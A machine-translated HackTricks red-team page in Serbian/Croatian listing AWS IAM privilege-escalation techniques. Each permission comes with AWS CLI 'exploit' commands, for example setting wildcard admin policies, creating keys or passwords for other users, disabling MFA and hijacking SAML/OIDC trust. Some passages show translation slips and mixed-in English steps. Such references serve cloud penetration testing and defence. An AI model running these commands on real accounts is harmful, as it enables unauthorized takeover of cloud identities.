AWS - IAM Privesc

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

IAM

Za više informacija o IAM-u pogledajte:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Dodeljuje mogućnost kreiranja nove verzije IAM politike, zaobilazeći potrebu za iam:SetDefaultPolicyVersion dozvolom korišćenjem --set-as-default zastavice. Ovo omogućava definisanje prilagođenih dozvola.

Exploit Komanda:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Utjecaj: Izravno povećava privilegije omogućavajući bilo koju radnju na bilo kojem resursu.

iam:SetDefaultPolicyVersion

Omogućava promjenu zadane verzije IAM politike na drugu postojeću verziju, potencijalno povećavajući privilegije ako nova verzija ima više dozvola.

Bash naredba:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Uticaj: Indirektno eskaliranje privilegija omogućavanjem dodatnih dozvola.

iam:CreateAccessKey

Omogućava kreiranje ID-a pristupnog ključa i tajnog pristupnog ključa za drugog korisnika, što može dovesti do potencijalnog eskaliranja privilegija.

Eksploatacija:

aws iam create-access-key --user-name <target_user>

Uticaj: Direktno povećanje privilegija preuzimanjem proširenih dozvola drugog korisnika.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Omogućava kreiranje ili ažuriranje profila za prijavljivanje, uključujući postavljanje lozinki za AWS konzolno prijavljivanje, što dovodi do direktnog povećanja privilegija.

Eksploatacija za kreiranje:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Eksploatacija za ažuriranje:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Uticaj: Direktno eskaliranje privilegija putem prijavljivanja kao "bilo koji" korisnik.

iam:UpdateAccessKey

Omogućava omogućavanje onemogućenog pristupnog ključa, što potencijalno može dovesti do neovlašćenog pristupa ako napadač poseduje onemogućeni ključ.

Eksploatacija:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Utjecaj: Direktno povećanje privilegija ponovnim aktiviranjem pristupnih ključeva.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Omogućava generiranje ili resetiranje vjerodajnica za određene AWS usluge (npr. CodeCommit, Amazon Keyspaces), nasljeđujući ovlasti povezanih korisnika.

Iskorištavanje za stvaranje:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

Eksploatacija za Resetovanje:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Utjecaj: Izravno povećanje privilegija unutar korisnikovih dozvola usluge.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Omogućuje povezivanje politika s korisnicima ili grupama, izravno povećavajući privilegije nasljeđivanjem dozvola povezane politike.

Iskorištavanje za korisnika:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Eksploatacija za grupu:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Utjecaj: Izravno povećanje privilegija za sve što politika omogućuje.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Omogućuje povezivanje ili postavljanje politika za uloge, korisnike ili grupe, omogućavajući izravno povećanje privilegija dodjeljivanjem dodatnih dozvola.

Iskorištavanje za ulogu:

bashCopy codeaws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Eksploatacija za Inline politike:

<details>
<summary>Opis</summary>

Inline politike su politike koje su vezane direktno za IAM korisnika, grupe ili uloge. One se definišu unutar samog objekta i ne mogu biti deljene sa drugim objektima. Ovo čini inline politike pogodnim ciljem za eskalaciju privilegija.

</details>

<details>
<summary>Metoda</summary>

1. Identifikujte IAM korisnika, grupu ili ulogu koja ima inline politiku koju želite da iskoristite.

2. Kreirajte novu inline politiku koja će vam omogućiti potrebne privilegije. Možete kopirati postojeću inline politiku i izmeniti je prema vašim potrebama.

3. Ažurirajte inline politiku ciljnog objekta sa novom politikom koju ste kreirali.

4. Proverite da li su vam dodeljene nove privilegije tako što ćete izvršiti odgovarajuće akcije koje su bile ograničene pre eskalacije privilegija.

</details>
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Možete koristiti politiku poput:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}

Uticaj: Direktno eskaliranje privilegija dodavanjem dozvola putem politika.

iam:AddUserToGroup

Omogućava dodavanje sebe u IAM grupu, eskaliranje privilegija nasleđivanjem dozvola grupe.

Eksploatacija:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Utjecaj: Izravno povećanje privilegija na razinu dozvola grupe.

iam:UpdateAssumeRolePolicy

Omogućuje izmjenu dokumenta politike pretpostavljanja uloge, omogućujući pretpostavljanje uloge i povezane dozvole.

Iskorištavanje:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Gde politika izgleda kao što je prikazano ispod, koja korisniku daje dozvolu da pretpostavi ulogu:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Utjecaj: Izravno povećanje privilegija preuzimanjem dozvola bilo koje uloge.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Omogućava preuzimanje SSH javnog ključa za autentifikaciju na CodeCommit i deaktiviranje uređaja za višestruku autentifikaciju (MFA), što može dovesti do potencijalnog neizravnog povećanja privilegija.

Iskorištavanje za preuzimanje SSH ključa:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Eksploatacija za deaktivaciju MFA:

1. Identify an IAM user with the necessary permissions to modify MFA settings.
2. Obtain the access key and secret key for the identified IAM user.
3. Use the obtained credentials to authenticate with the AWS CLI or SDK.
4. Execute the following command to disable MFA for the targeted IAM user:

aws iam deactivate-mfa-device --user-name <IAM_USER_NAME> --serial-number <MFA_SERIAL_NUMBER>


Replace `<IAM_USER_NAME>` with the username of the targeted IAM user and `<MFA_SERIAL_NUMBER>` with the serial number of the MFA device associated with the user.
5. Verify that MFA has been successfully disabled for the targeted IAM user.
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Utjecaj: Indirektno povećanje privilegija omogućavanjem pristupa CodeCommit-u ili onemogućavanjem MFA zaštite.

iam:ResyncMFADevice

Omogućava resinkronizaciju MFA uređaja, što potencijalno može dovesti do indirektnog povećanja privilegija manipulacijom MFA zaštite.

Bash naredba:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Uticaj: Indirektno eskaliranje privilegija dodavanjem ili manipulacijom MFA uređaja.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Sa ovim dozvolama možete promeniti XML metapodatke SAML konekcije. Zatim, možete zloupotrebiti SAML federaciju da se prijavite sa bilo kojom ulogom koja mu veruje.

Imajte na umu da legitimni korisnici neće moći da se prijave. Međutim, možete dobiti XML, tako da možete postaviti svoj, prijaviti se i konfigurisati prethodno stanje.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

TODO: Alat koji može generisati SAML metapodatke i prijaviti se sa određenom ulogom

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Nesiguran u vezi ovoga) Ako napadač ima ove dozvole, može dodati novi Thumbprint kako bi uspeo da se prijavi u sve uloge koje veruju provajderu.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated